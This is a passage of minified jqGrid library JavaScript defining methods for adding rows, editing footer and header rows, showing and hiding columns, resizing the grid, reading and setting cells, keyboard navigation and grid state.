l&&(Array.isArray(l)?(v=!0,j=n):v=!(l=[l]),this.each(function(){var e=this,t=l.length,r=(h=!0===e.p.rownumbers?1:0,c=!0===e.p.multiselect?1:0,u=!0===e.p.subGrid?1:0,v||(void 0!==n?n=String(n):(n=Ye.jgrid.randId(),!1!==e.p.keyName&&(j=e.p.keyName,void 0!==l[0][j])&&(n=l[0][j]))),0),i=Ye(e).jqGrid("getStyleUI",e.p.styleUI+".base","rowBox",!0,"jqgrow ui-row-"+e.p.direction),o={},a=!!Ye.jgrid.isFunction(e.p.afterInsertRow);for(h&&(_=Ye(e).jqGrid("getStyleUI",e.p.styleUI+".base","rownumBox",!1,"jqgrid-rownum")),c&&(q=Ye(e).jqGrid("getStyleUI",e.p.styleUI+".base","multiBox",!1,"cbox"));r<t;){if(b=l[r],p=[],v)try{void 0===(n=b[j])&&(n=Ye.jgrid.randId())}catch(e){n=Ye.jgrid.randId()}for(w=n,n=e.p.idPrefix+n,h&&(C=e.formatCol(0,1,"",null,n,!0),p[p.length]='<td role="gridcell" '+_+" "+C+">0</td>"),c&&(m='<input role="checkbox" type="checkbox" id="jqg_'+e.p.id+"_"+n+'" '+q+"/>",C=e.formatCol(h,1,"",null,n,!0),p[p.length]='<td role="gridcell" '+C+">"+m+"</td>"),u&&(p[p.length]=Ye(e).jqGrid("addSubGridCell",c+h,1)),f=c+u+h;f<e.p.colModel.length;f++)y=e.p.colModel[f],o[y=y.name]=b[y],m=e.formatter(n,Ye.jgrid.getAccessor(b,y),f,b),C=e.formatCol(f,1,m,b,n,o),p[p.length]='<td role="gridcell" '+C+">"+m+"</td>";if(p.unshift(e.constructTr(n,!1,i,o,b)),p[p.length]="</tr>",0===e.rows.length)Ye(e.grid.bDiv).find("table").first().append(p.join(""));else switch(s){case"last":Ye(e.rows[e.rows.length-1]).after(p.join("")),g=e.rows.length-1;break;case"first":Ye(e.rows[0]).after(p.join("")),g=1;break;case"after":(g=Ye(e).jqGrid("getGridRowById",d))&&(Ye(e.rows[g.rowIndex+1]).hasClass("ui-subgrid")?Ye(e.rows[g.rowIndex+1]).after(p):Ye(g).after(p.join("")),g=g.rowIndex+1);break;case"before":(g=Ye(e).jqGrid("getGridRowById",d))&&(Ye(g).before(p.join("")),g=g.rowIndex-1)}if(!0===e.p.subGrid&&Ye(e).jqGrid("addSubGrid",c+h,g),e.p.records++,e.p.reccount++,Ye(e).triggerHandler("jqGridAfterInsertRow",[n,b,b]),a&&e.p.afterInsertRow.call(e,n,b,b),r++,"local"===e.p.datatype)switch(o[e.p.localReader.id]=w,s){case"first":e.p.data.unshift(o);break;case"last":e.p.data.push(o);break;case"before":case"after":e.p.data.splice(g-1,0,o)}o={},1===e.p.reccount&&(g=Ye(e).jqGrid("getGridRowById","norecs"))&&g.rowIndex&&0<g.rowIndex&&Ye(e.rows[g.rowIndex]).remove()}"local"===e.p.datatype&&e.refreshIndex(),e.updatepager(!0,!0),x=!0})),x},footerData:function(n,l,s,d,p){var c,u=!1,h={};function g(e){for(var t in e)if(e.hasOwnProperty(t))return;return 1}return"boolean"!=typeof s&&(s=!0),void 0===d&&(d=0),void 0===p&&(p=!0),n=(n=void 0===n?"get":n).toLowerCase(),this.each(function(){var t,r,e,i=this,o=this.p.colModel.length,a=!1;return!(!i.grid||!i.p.footerrow||"set"===n&&g(l))&&("getlength"===n?(e=Ye(".ui-jqgrid-ftable tr",i.grid.sDiv).length,h=e||0,!1):(i.p.frozenColumns&&"get"!==n&&p&&(Ye(i).jqGrid("destroyFrozenColumns"),a=!0),u=!0,"addrow"===n&&(e=Ye(".ui-jqgrid-ftable tr",i.grid.sDiv).eq(0).clone(),Ye("td",e).html(" "),Ye(".ui-jqgrid-ftable",i.grid.sDiv).append(e),g(l)||(n="set",d=Ye(".ui-jqgrid-stable tr",i.grid.sDiv).length-1)),"delrow"===n&&0<(d=void 0===d?Ye(".ui-jqgrid-stable tr",i.grid.sDiv).length-1:d)&&Ye(".ui-jqgrid-ftable tr",i.grid.sDiv).eq(d).remove(),o*=parseInt(d,10),"get"!==n&&"set"!==n||Ye(this.p.colModel).each(function(e){c=this.name,"set"===n?void 0!==l[c]&&(t=s?i.formatter("",l[c],e,l,"edit"):l[c],r=this.title?{title:Ye.jgrid.stripHtml(t)}:{},Ye("tr.footrow td",i.grid.sDiv).eq(e+o).html(t).attr(r),u=!0):"get"===n&&(h[c]=s?Ye.unformat.call(i,Ye("tr.footrow td",i.grid.sDiv).eq(e+o),{colModel:i.p.colModel[e]},e):Ye("tr.footrow td",i.grid.sDiv).eq(e+o).html())}),"remove"===n&&(Ye(i.grid.sDiv).remove(),i.grid.sDiv=null,i.p.footerrow=!1),void(a&&Ye(i).jqGrid("setFrozenColumns"))))}),"get"===n||"getlength"===n?h:u},headerData:function(n,l,s,d,p){var c,u=!1,h={};function g(e){for(var t in e)if(e.hasOwnProperty(t))return;return 1}return"boolean"!=typeof s&&(s=!0),void 0===d&&(d=0),void 0===p&&(p=!0),n=(n=void 0===n?"get":n).toLowerCase(),this.each(function(){var t,r,e,i=this,o=this.p.colModel.length,a=!1;return!(!i.grid||!i.p.headerrow||"set"===n&&g(l))&&("getlength"===n?(e=Ye(".ui-jqgrid-hrtable tr",i.grid.hrDiv).length,h=e||0,!0):(i.p.frozenColumns&&"get"!==n&&p&&(Ye(i).jqGrid("destroyFrozenColumns"),a=!0),u=!0,"addrow"===n&&(e=Ye(".ui-jqgrid-hrtable tr",i.grid.hrDiv).eq(0).clone(),Ye("td",e).html(" "),Ye(".ui-jqgrid-hrtable",i.grid.hrDiv).append(e),g(l)||(n="set",d=Ye(".ui-jqgrid-hrtable tr",i.grid.hrDiv).length-1)),"delrow"===n&&0<(d=void 0===d?Ye(".ui-jqgrid-hrtable tr",i.grid.hrDiv).length-1:d)&&Ye(".ui-jqgrid-hrtable tr",i.grid.hrDiv).eq(d).remove(),o*=parseInt(d,10),"get"!==n&&"set"!==n||Ye(this.p.colModel).each(function(e){c=this.name,"set"===n?void 0!==l[c]&&(t=s?i.formatter("",l[c],e,l,"edit"):l[c],r=this.title?{title:Ye.jgrid.stripHtml(t)}:{},Ye("tr.hrheadrow td",i.grid.hrDiv).eq(e+o).html(t).attr(r),u=!0):"get"===n&&(h[c]=s?Ye.unformat.call(i,Ye("tr.hrheadrow td",i.grid.hrDiv).eq(e+o),{colModel:i.p.colModel[e]},e):Ye("tr.hrheadrow td",i.grid.hrDiv).eq(e+o).html())}),"remove"===n&&(Ye(i.grid.hrDiv).remove(),i.grid.hrDiv=null,i.p.headerrow=!1),void(a&&Ye(i).jqGrid("setFrozenColumns"))))}),"get"===n||"getlength"===n?h:u},showHideCol:function(d,p){return this.each(function(){var t,r=this,i=!1,o=Ye.jgrid.cell_width?0:r.p.cellLayout,e=!1;if(r.grid){"string"==typeof d&&(d=[d]);var a=""===(p="none"!==p?"":"none"),n=null,l=Ye(r).jqGrid("isGroupHeaderOn");if(r.p.frozenColumns&&(Ye(r).jqGrid("destroyFrozenColumns"),e=!0),l&&(Ye(r).jqGrid("destroyGroupHeader",!1),n=Ye.extend([],r.p.groupHeader),r.p.groupHeader=null),r.p.colSpanHeader.length&&Ye(r).jqGrid("destroyColSpanHeader",!1),Ye(this.p.colModel).each(function(e){-1!==Ye.inArray(this.name,d)&&this.hidden===a&&(Ye("tr[role=row]",r.grid.hDiv).each(function(){Ye(this.cells[e]).css("display",p)}),Ye(r.rows).each(function(){Ye(this).hasClass("jqgroup")||Ye(this.cells[e]).css("display",p)}),r.p.footerrow&&Ye("tr.footrow td",r.grid.sDiv).eq(e).css("display",p),r.p.headerrow&&Ye("tr.hrheadrow td",r.grid.hrDiv).eq(e).css("display",p),t=parseInt(this.width,10),"none"===p?r.p.tblwidth-=t+o:r.p.tblwidth+=t+o,this.hidden=!a,i=!0,Ye(r).triggerHandler("jqGridShowHideCol",[a,this.name,e]))}),!0===i&&(!0!==r.p.shrinkToFit||isNaN(r.p.height)||(r.p.tblwidth+=parseInt(r.p.scrollOffset,10)),Ye(r).jqGrid("setGridWidth",!0===r.p.shrinkToFit?r.p.tblwidth-(isNaN(r.p.height)?0:parseInt(r.p.scrollOffset,10)):r.p.width)),l&&n)for(var s=0;s<n.length;s++)Ye(r).jqGrid("setGroupHeaders",n[s]);r.p.colSpanHeader.length&&Ye(r).jqGrid("setColSpanHeader",r.p.colSpanHeader),e&&Ye(r).jqGrid("setFrozenColumns")}})},hideCol:function(e){return this.each(function(){Ye(this).jqGrid("showHideCol",e,"none")})},showCol:function(e){return this.each(function(){Ye(this).jqGrid("showHideCol",e,"")})},hideSearchCol:function(t){return this.each(function(){try{var e=this.p._avc.indexOf(t);-1<e&&(this.p._avc.splice(e,1),this.p._fthc.push(t),Ye(this).jqGrid("showHideCol",t,"none"))}catch(e){}})},showSearchCol:function(t){return this.each(function(){try{var e=this.p._fthc.indexOf(t);-1<e&&(this.p._fthc.splice(e,1),this.p._avc.push(t),Ye(this).jqGrid("showHideCol",t,""))}catch(e){}})},remapColumns:function(i,e,t){function r(t){var r=t.length?Ye.makeArray(t):Ye.extend({},t);Ye.each(i,function(e){t[e]=r[this]})}var o=this.get(0);function a(e,t){Ye(">tr"+(t||""),e).each(function(){var t=this,r=Ye.makeArray(t.cells);Ye.each(i,function(){var e=r[this];e&&t.appendChild(e)})})}r(o.p.colModel),r(o.p.colNames),r(o.grid.headers),a(Ye(o.grid.hDiv).find("thead").first(),t&&":not(.ui-jqgrid-labels)"),e&&a(Ye("#"+Ye.jgrid.jqID(o.p.id)+" tbody").first(),".jqgfirstrow, tr.jqgrow, tr.jqfoot, tr.jqgroup"),o.p.footerrow&&a(Ye(o.grid.sDiv).find("tbody").first()),o.p.headerrow&&a(Ye(o.grid.hrDiv).find("tbody").first()),o.p.remapColumns&&(o.p.remapColumns.length?r(o.p.remapColumns):o.p.remapColumns=Ye.makeArray(i)),o.p.lastsort=Ye.inArray(o.p.lastsort,i),o.p.treeGrid&&(o.p.expColInd=Ye.inArray(o.p.expColInd,i)),Ye(o).triggerHandler("jqGridRemapColumns",[i,e,t])},setGridWidth:function(v,j,b){return this.each(function(){if(this.grid){var e,t,r=this,i=!1,o=0,a=Ye.jgrid.cell_width?0:r.p.cellLayout,n=0,l=!1,s=r.p.scrollOffset,d=0,p=-1!==r.p.styleUI.search("Bootstrap")?2:0;if("boolean"!=typeof j&&(j=r.p.shrinkToFit),"boolean"!=typeof b&&(b=!0),!isNaN(v)&&!((v=parseInt(v,10))<r.p.minGridWidth||v>r.p.maxGridWidth)){if(r.grid.width=r.p.width=v,Ye("#gbox_"+Ye.jgrid.jqID(r.p.id)).css("width",v+"px"),Ye("#gview_"+Ye.jgrid.jqID(r.p.id)).css("width",v+"px"),Ye(r.grid.bDiv).css("width",v-p+"px"),Ye(r.grid.hDiv).css("width",v-p+"px"),r.p.pager&&Ye(r.p.pager).css("width",v-p+"px"),r.p.toppager&&Ye(r.p.toppager).css("width",v-p+"px"),!0===r.p.toolbar[0]&&(Ye(r.grid.uDiv).css("width",v-p+"px"),"both"===r.p.toolbar[1])&&Ye(r.grid.ubDiv).css("width",v-p+"px"),r.p.footerrow&&Ye(r.grid.sDiv).css("width",v-p+"px"),r.p.headerrow&&Ye(r.grid.hrDiv).css("width",v-p+"px"),(e=Ye(r).jqGrid("isGroupHeaderOn"))&&Ye(r).jqGrid("destroyGroupHeader",!1),r.p.frozenColumns&&b&&(Ye(r).jqGrid("destroyFrozenColumns"),i=!0),!1===j&&!0===r.p.forceFit&&(r.p.forceFit=!1),!0===j){if(Ye.each(r.p.colModel,function(){!1===this.hidden&&(g=this.widthOrg,o+=g+a,this.fixed?d+=g+a:n++)}),0===n)return;r.p.tblwidth=o;var c=v-a*n-d,u=Ye("#norecs","#"+Ye.jgrid.jqID(r.p.id)).eq(0),h=(isNaN(r.p.height)||(Ye(r.grid.bDiv)[0].clientHeight<=Ye(r.grid.bDiv)[0].scrollHeight||r.rows.length===u.length+1||"scroll"===Ye(r.grid.bDiv).css("overflow-y"))&&(l=!0,c-=s),(o=0)<r.grid.cols.length);if(Ye.each(r.p.colModel,function(e){!1!==this.hidden||this.fixed||(g=this.widthOrg,(g=Math.round(c*g/(r.p.tblwidth-a*n-d)))<0)||(this.width=g,o+=g,r.grid.headers[e].width=g,r.grid.headers[e].el.style.width=g+"px",r.p.footerrow&&(r.grid.footers[e].style.width=g+"px"),r.p.headerrow&&(r.grid.hrheaders[e].style.width=g+"px"),h&&(r.grid.cols[e].style.width=g+"px"),t=e)}),!t)return;u=0,l?v-d-(o+a*n)!==s&&(u=v-d-(o+a*n)-s):0!==Math.abs(v-d-(o+a*n))&&(u=v-d-(o+a*n)-p),r.p.colModel[t].width+=u,r.p.tblwidth=o+u+a*n+d,r.p.tblwidth>v?(l=r.p.tblwidth-parseInt(v,10),r.p.tblwidth=v,g=r.p.colModel[t].width=r.p.colModel[t].width-l):r.p.tblwidth===v?(g=r.p.colModel[t].width=r.p.colModel[t].width-p,r.p.tblwidth=v-p):g=r.p.colModel[t].width;var s=Ye(r.grid.bDiv)[0].scrollWidth>Ye(r.grid.bDiv).width()&&0!=p?-1:0,g=r.p.colModel[t].width+=s;r.grid.headers[t].width=g,r.grid.headers[t].el.style.width=g+"px",h&&(r.grid.cols[t].style.width=g+"px"),r.p.footerrow&&(r.grid.footers[t].style.width=g+"px"),r.p.headerrow&&(r.grid.hrheaders[t].style.width=g+"px")}if(Ye(r.grid.bDiv).find("table").first().css("width",r.p.tblwidth+"px"),Ye(r.grid.hDiv).find("table").first().css("width",r.p.tblwidth+"px"),r.grid.hDiv.scrollLeft=r.grid.bDiv.scrollLeft,r.p.footerrow&&Ye(r.grid.sDiv).find("table").first().css("width",r.p.tblwidth+"px"),r.p.headerrow&&Ye(r.grid.hrDiv).find("table").first().css("width",r.p.tblwidth+"px"),e){var f=Ye.extend([],r.p.groupHeader);r.p.groupHeader=null;for(var m=0;m<f.length;m++)Ye(r).jqGrid("setGroupHeaders",f[m]);r.grid.hDiv.scrollLeft=r.grid.bDiv.scrollLeft}i&&Ye(r).jqGrid("setFrozenColumns")}}})},setGridHeight:function(o,a,n){return this.each(function(){var e,t,r,i=this;i.grid&&(e=Ye(i.grid.bDiv),t=Ye(i.grid.hDiv).outerHeight(),"boolean"!=typeof n&&(n=!0),!(r=!1)===(a="boolean"!=typeof a?!1:a)&&(i.p.pager&&(t+=Ye(i.p.pager).outerHeight()),i.p.toppager&&(t+=Ye(i.p.toppager).outerHeight()),!0===i.p.toolbar[0]&&(t+=Ye(i.grid.uDiv).outerHeight(),"both"===i.p.toolbar[1])&&(t+=Ye(i.grid.ubDiv).outerHeight()),i.p.footerrow&&(t+=Ye(i.grid.sDiv).outerHeight()),i.p.headerrow&&(t+=Ye(i.grid.hrDiv).outerHeight()),i.p.caption&&(t+=Ye(i.grid.cDiv).outerHeight()),t<o)&&(o-=t),i.p.frozenColumns&&n&&(Ye(i).jqGrid("destroyFrozenColumns"),r=!0),e.css({height:o+(isNaN(o)?"":"px")}),i.p.height=o,r&&Ye(i).jqGrid("setFrozenColumns"),i.p.scroll)&&i.grid.populateVisible()})},maxGridHeight:function(i,o,a){return this.each(function(){var e,t,r=this;r.grid&&(void 0===a&&(a=25),e=Ye(r.grid.bDiv),"set"!==i||isNaN(o)?"remove"===i&&(t=["100%","auto"].includes(r.p.height)&&Ye(r.grid.bDiv).height()<Ye(r).height(),e.css("max-height",""),t)&&Ye("#"+Ye.jgrid.jqID(r.p.id)).jqGrid("setGridWidth",r.p.width-r.p.scrollOffset+2,!1,!1):(o=parseFloat(o))>parseFloat(a)&&(e.css("max-height",o),["100%","auto"].includes(r.p.height))&&Ye(r.grid.bDiv).height()<Ye(r).height()&&Ye("#"+Ye.jgrid.jqID(r.p.id)).jqGrid("setGridWidth",r.p.width+r.p.scrollOffset-2,!1,!1))})},setCaption:function(t){return this.each(function(){var e=Ye(this).jqGrid("getStyleUI",this.p.styleUI+".common","cornertop",!0);this.p.caption=t,Ye(".ui-jqgrid-title, .ui-jqgrid-title-rtl",this.grid.cDiv).html(t),Ye(this.grid.cDiv).show(),Ye(this.grid.hDiv).removeClass(e)})},setLabel:function(a,n,l,s){return this.each(function(){var e=this,t=-1;if(e.grid&&!Ye.jgrid.isNull(a)&&0<=(t=isNaN(a)?Ye.jgrid.getElemByAttrVal(e.p.colModel,"name",a,!0):parseInt(a,10))){var r=Ye("tr.ui-jqgrid-labels th",e.grid.hDiv).eq(t);if(n){var i=Ye(".s-ico",r),o=Ye(".colmenu",r);try{Ye("[id^=jqgh_]",r).empty().html(n).append(i).append(o)}catch(e){}e.p.colNames[t]=n,e.p.frozenColumns&&(r=Ye("tr.ui-jqgrid-labels th",e.grid.fhDiv).eq(t),i=Ye(".s-ico",r),Ye("[id^=jqgh_]",r).empty().html(n).append(i))}l&&("string"==typeof l?Ye(r).addClass(l):Ye(r).css(l)),"object"==typeof s&&Ye(r).attr(s);o=e.p.colModel[t];o.autosize_headers&&(i=Ye.jgrid.getFont(r[0]),o.canvas_width=Ye.jgrid.getTextWidth(Ye("div",r)[0].outerText,i)+(o.colmenu?Ye.jgrid.floatNum(Ye(".colmenuspan",r).parent().width()):0)+Ye.jgrid.floatNum(Ye("div",r).css("padding-left"))+Ye.jgrid.floatNum(Ye("div",r).css("padding-right"))+Ye.jgrid.floatNum(Ye(".ui-jqgrid-resize",r).width()))}})},setSortIcon:function(l,s){return this.each(function(){var e,t,r,i=this,o=-1,a=1;if(i.grid){Ye.jgrid.isNull(s)?a=i.p.colNames.length:o=isNaN(s)?Ye.jgrid.getElemByAttrVal(i.p.colModel,"name",s,!0):parseInt(s,10);for(var n=0;n<a;n++)0<=o&&(n=o),"cb"!==(e=i.p.colModel[n].name)&&"subgrid"!==e&&"rn"!==e&&"sc"===e&&(e=Ye("tr.ui-jqgrid-labels th",i.grid.hDiv).eq(n),t=i.p.colNames[n],r=e.find(".s-ico"),"left"===l?e.find("div.ui-th-div").first().empty().addClass("ui-icon-left").append(r).append(t):"right"===l&&e.find("div.ui-th-div").first().empty().removeClass("ui-icon-left").append(t).append(r),i.p.frozenColumns)&&(e=Ye("tr.ui-jqgrid-labels th",i.grid.fhDiv).eq(n),t=i.p.colNames[n],r=e.find(".s-ico"),"left"===l?e.find("div.ui-th-div").first().empty().addClass("ui-icon-left").append(r).append(t):"right"===l&&e.find("div.ui-th-div").first().empty().removeClass("ui-icon-left").append(t).append(r))}})},setCell:function(n,l,s,d,p,c){return this.each(function(){var e=this,t=-1;if(e.grid&&0<=(t=isNaN(l)?Ye.jgrid.getElemByAttrVal(e.p.colModel,"name",l,!0):parseInt(l,10))&&(i=Ye(e).jqGrid("getGridRowById",n))){var r,i,o={},a=e.p.colModel[t];try{r=i.cells[t]}catch(e){}r&&(""===s&&!0!==c||((o=Ye(e).jqGrid("getRowData",n,"local"===e.p.datatype))[a.name]=s,i=e.formatter(n,s,t,o,"edit"),o=a.title?{title:Ye.jgrid.stripHtml(i)}:{},(e.p.treeGrid&&e.p.ExpandColumn===a.name?Ye("span",Ye(r)):Ye(r)).html(i).attr(o),"local"===e.p.datatype&&void 0!==(i=e.p._index[Ye.jgrid.stripPref(e.p.idPrefix,n)])&&(e.p.data[i][a.name]=s)),"string"==typeof d?Ye(r).addClass(d):d&&Ye(r).css(d),"object"==typeof p&&Ye(r).attr(p),e.p.frozenColumns)&&t<=e.p.frozenColCount&&(o=Ye(r).clone(),Ye("#"+n+" td","#"+Ye.jgrid.jqID(e.p.id+"_frozen")).eq(t).replaceWith(o))}})},getCell:function(i,o,a){var n,l=!1;return"boolean"!=typeof a&&(a=!1),this.each(function(){var e,t=this,r=-1;if(t.grid&&0<=(r=isNaN(o)?Ye.jgrid.getElemByAttrVal(t.p.colModel,"name",o,!0):parseInt(o,10))&&(e=Ye(t).jqGrid("getGridRowById",i)))if(n=Ye("td",e).eq(r),a)l=n;else{try{l=Ye.unformat.call(t,n,{rowId:e.id,colModel:t.p.colModel[r]},r)}catch(e){l=Ye.jgrid.htmlDecode(n.html())}t.p.treeGrid&&l&&t.p.ExpandColumn===o&&(l=Ye("<div>"+l+"</div>").find("span").first().html())}}),l},getCol:function(n,l,s){var d,p,c,u,h=[],g=0,f=("boolean"!=typeof l&&(l=!1),void 0===s&&(s=!1),Ye.jgrid.getFont(this[0]));return this.each(function(){var t=this,r=-1,e=t.p.colModel;if(t.grid&&0<=(r=isNaN(n)?Ye.jgrid.getElemByAttrVal(t.p.colModel,"name",n,!0):parseInt(n,10))){var i=t.rows.length,o=0,a=0;if(i&&0<i){for(;o<i;o++)if(Ye(t.rows[o]).hasClass("jqgrow")&&"norecs"!==t.rows[o].id)if("maxwidth"===s)void 0===c&&(c=e[r].autosize_headers?e[r].canvas_width:0),c=Math.max(Ye.jgrid.getTextWidth(t.rows[o].cells[r].outerText,f),c);else{try{d=Ye.unformat.call(t,Ye(t.rows[o].cells[r]),{rowId:t.rows[o].id,colModel:t.p.colModel[r]},r)}catch(e){d=Ye.jgrid.htmlDecode(t.rows[o].cells[r].innerHTML)}s?(u=Ye.jgrid.floatNum(d),g+=u,void 0===c&&(c=p=u),p=Math.min(p,u),c=Math.max(c,u),a++):l?h.push({id:t.rows[o].id,value:d}):h.push(d)}if(s)switch(s.toLowerCase()){case"sum":h=g;break;case"avg":h=g/a;break;case"count":h=a;break;case"min":h=p;break;case"max":case"maxwidth":h=c}}}}),h},clearGridData:function(r,i){return this.each(function(){var e,t=this;t.grid&&("boolean"!=typeof r&&(r=!1),"boolean"!=typeof i&&(i=!1),t.p.deepempty?Ye("#"+Ye.jgrid.jqID(t.p.id)+" tbody").first().find("tr").slice(1).remove():(e=Ye("#"+Ye.jgrid.jqID(t.p.id)+" tbody").first().find("tr").first()[0],Ye("#"+Ye.jgrid.jqID(t.p.id)+" tbody").first().empty().append(e)),t.p.footerrow&&r&&Ye(".ui-jqgrid-ftable td",t.grid.sDiv).html(" "),t.p.headerrow&&i&&Ye(".ui-jqgrid-hrtable td",t.grid.hrDiv).html(" "),t.p.selrow=null,t.p.selarrrow=[],t.p.savedRow=[],t.p.records=0,t.p.page=1,t.p.lastpage=0,t.p.reccount=0,t.p.data=[],t.p._index={},t.p.groupingView._locgr=!1,t.updatepager(!0,!1))})},getInd:function(e,t){var r,i=!1;return this.each(function(){(r=Ye(this).jqGrid("getGridRowById",e))&&(i=!0===t?r:r.rowIndex)}),i},bindKeys:function(e){var s=Ye.extend({onEnter:null,onSpace:null,onLeftKey:null,onRightKey:null,onSelectRow:!0,scrollingRows:!0},e||{});return this.each(function(){var l=this;Ye("body").is("[role]")||Ye("body").attr("role","application"),l.p.scrollrows=s.scrollingRows,Ye(l).on("keydown",function(e){var t,r,i=Ye(l).find("tr[tabindex=0]")[0],o=l.p.treeReader.expanded_field;if(i){var a=l.p.selrow,n=l.p._index[Ye.jgrid.stripPref(l.p.idPrefix,i.id)];if(37===e.keyCode||38===e.keyCode||39===e.keyCode||40===e.keyCode){if(38===e.keyCode){if(t="",(r=i.previousSibling)&&Ye(r).hasClass("jqgrow")){if(Ye(r).is(":hidden")){for(;r;)if(r=r.previousSibling,!Ye(r).is(":hidden")&&Ye(r).hasClass("jqgrow")){t=r.id;break}}else t=r.id;Ye(l).jqGrid("setSelection",t,s.onSelectRow,e)}Ye(l).triggerHandler("jqGridKeyUp",[t,a,e]),Ye.jgrid.isFunction(s.onUpKey)&&s.onUpKey.call(l,t,a,e),e.preventDefault()}if(40===e.keyCode){if(t="",(r=i.nextSibling)&&Ye(r).hasClass("jqgrow")){if(Ye(r).is(":hidden")){for(;r;)if(r=r.nextSibling,!Ye(r).is(":hidden")&&Ye(r).hasClass("jqgrow")){t=r.id;break}}else t=r.id;Ye(l).jqGrid("setSelection",t,s.onSelectRow,e)}Ye(l).triggerHandler("jqGridKeyDown",[t,a,e]),Ye.jgrid.isFunction(s.onDownKey)&&s.onDownKey.call(l,t,a,e),e.preventDefault()}37===e.keyCode&&(l.p.treeGrid&&l.p.data[n][o]&&Ye(i).find("div.treeclick").trigger("click"),Ye(l).triggerHandler("jqGridKeyLeft",[l.p.selrow,e]),Ye.jgrid.isFunction(s.onLeftKey))&&s.onLeftKey.call(l,l.p.selrow,e),39===e.keyCode&&(l.p.treeGrid&&!l.p.data[n][o]&&Ye(i).find("div.treeclick").trigger("click"),Ye(l).triggerHandler("jqGridKeyRight",[l.p.selrow,e]),Ye.jgrid.isFunction(s.onRightKey))&&s.onRightKey.call(l,l.p.selrow,e)}else 13===e.keyCode?(e.preventDefault(),Ye(l).triggerHandler("jqGridKeyEnter",[l.p.selrow,e]),Ye.jgrid.isFunction(s.onEnter)&&s.onEnter.call(l,l.p.selrow,e)):32===e.keyCode&&(Ye(l).triggerHandler("jqGridKeySpace",[l.p.selrow,e]),Ye.jgrid.isFunction(s.onSpace))&&s.onSpace.call(l,l.p.selrow,e)}}).on("click",function(e){Ye(e.target).is("input, textarea, select")||Ye(e.target,l.rows).closest("tr.jqgrow").focus()})})},unbindKeys:function(){return this.each(function(){Ye(this).off("keydown")})},getLocalRow:function(e){var t,r=!1;return this.each(function(){void 0!==e&&0<=(t=this.p._index[Ye.jgrid.stripPref(this.p.idPrefix,e)])&&(r=this.p.data[t])}),r},progressBar:function(o){return o=Ye.extend({htmlcontent:"",method:"hide",loadtype:"disable"},o||{}),this.each(function(){var e,t="show"===o.method,r=Ye("#load_"+Ye.jgrid.jqID(this.p.id)),i=Ye(window).scrollTop();switch(""!==o.htmlcontent&&r.html(o.htmlcontent),o.loadtype){case"disable":break;case"enable":r.toggle(t);break;case"block":Ye("#lui_"+Ye.jgrid.jqID(this.p.id)).css(t?{top:0,left:0,height:Ye("#gbox_"+Ye.jgrid.jqID(this.p.id)).height(),width:Ye("#gbox_"+Ye.jgrid.jqID(this.p.id)).width(),"z-index":1e4,position:"absolute"}:{}).toggle(t),r.toggle(t)}r.is(":visible")&&(e=r.offsetParent(),r.css("top",""),r.offset().top<i)&&(i=Math.min(10+i-e.offset().top,e.height()-r.height()),r.css("top",i+"px"))})},getColProp:function(e){var t=this[0];return!!t.grid&&Ye.jgrid.getElemByAttrVal(t.p.colModel,"name",e,!1)},setColProp:function(t,r){return this.each(function(){var e;this.grid&&Ye.isPlainObject(r)&&0<=(e=Ye.jgrid.getElemByAttrVal(this.p.colModel,"name",t,!0))&&Ye.extend(!0,this.p.colModel[e],r)})},sortGrid:function(a,n,l){return this.each(function(){var e,t,r=this,i=-1,o=!1;if(r.grid){for(a=a||r.p.sortname,e=0;e<r.p.colModel.length;e++)if(r.p.colModel[e].index===a||r.p.colModel[e].name===a){i=e,!0===r.p.frozenColumns&&!0===r.p.colModel[e].frozen&&(o=r.grid.fhDiv.find("#"+r.p.id+"_"+a));break}-1!==i&&(t=r.p.colModel[i].sortable,o=o||r.grid.headers[i].el,"boolean"!=typeof n&&(n=!1),t="boolean"!=typeof t||t)&&r.sortData("jqgh_"+r.p.id+"_"+a,i,n,l,o)}})},setGridState:function(i){return this.each(function(){var e,t,r;this.grid&&(t=Ye(e=this).jqGrid("getStyleUI",this.p.styleUI+".base","icon_caption_open",!0),r=Ye(this).jqGrid("getStyleUI",this.p.styleUI+".base","icon_caption_close",!0),"hidden"===i?(Ye(".ui-jqgrid-bdiv, .ui-jqgrid-hdiv","#gview_"+Ye.jgrid.jqID(e.p.id)).slideUp("fast"),e.p.pager&&Ye(e.p.pager).slideUp("fast"),e.p.toppager&&Ye(e.p.toppager).slideUp("fast"),!0===e.p.toolbar[0]&&("both"===e.p.toolbar[1]&&Ye(e.grid.ubDiv).slideUp("fast"),Ye(e.grid.uDiv).slideUp("fast")),e.p.footerrow&&Ye(".ui-jqgrid-sdiv","#gbox_"+Ye.jgrid.jqID(e.p.id)).slideUp("fast"),e.p.headerrow&&Ye(".ui-jqgrid-hrdiv","#gbox_"+Ye.jgrid.jqID(e.p.id)).slideUp("fast"),Ye(".ui-jqgrid-headlink",e.grid.cDiv).removeClass(t).addClass(r),e.p.gridstate="hidden"):"visible"===i&&(Ye(".ui-jqgrid-hdiv, .ui-jqgrid-bdiv","#gview_"+Ye.jgrid.jqID(e.p.id)).slideDown("fast"),e.p.pager&&Ye(e.p.pager).slideDown("fast"),e.p.toppager&&Ye(e.p.toppager).slideDown("fast"),!0===e.p.toolbar[0]&&("both"===e.p.toolbar[1]&&Ye(e.grid.ubDiv).slideDown("fast"),Ye(e.grid.uDiv).slideDown("fast")),e.p.footerrow&&Ye(".ui-jqgrid-sdiv","#gbox_"+Ye.jgrid.jqID(e.p.id)).slideDown("fast"),e.p.headerrow&&Ye(".ui-jqgrid-hrdiv","#gbox_"+Ye.jgrid.jqID(e.p.id)).slideDown("fast"),Ye(".ui-jqgrid-headlink",e.grid.cDiv).removeClass(r).addClass(t),e.p.gridstate="visible"))})},setFrozenColumns:function(){return this.each(function(){if(this.grid){var 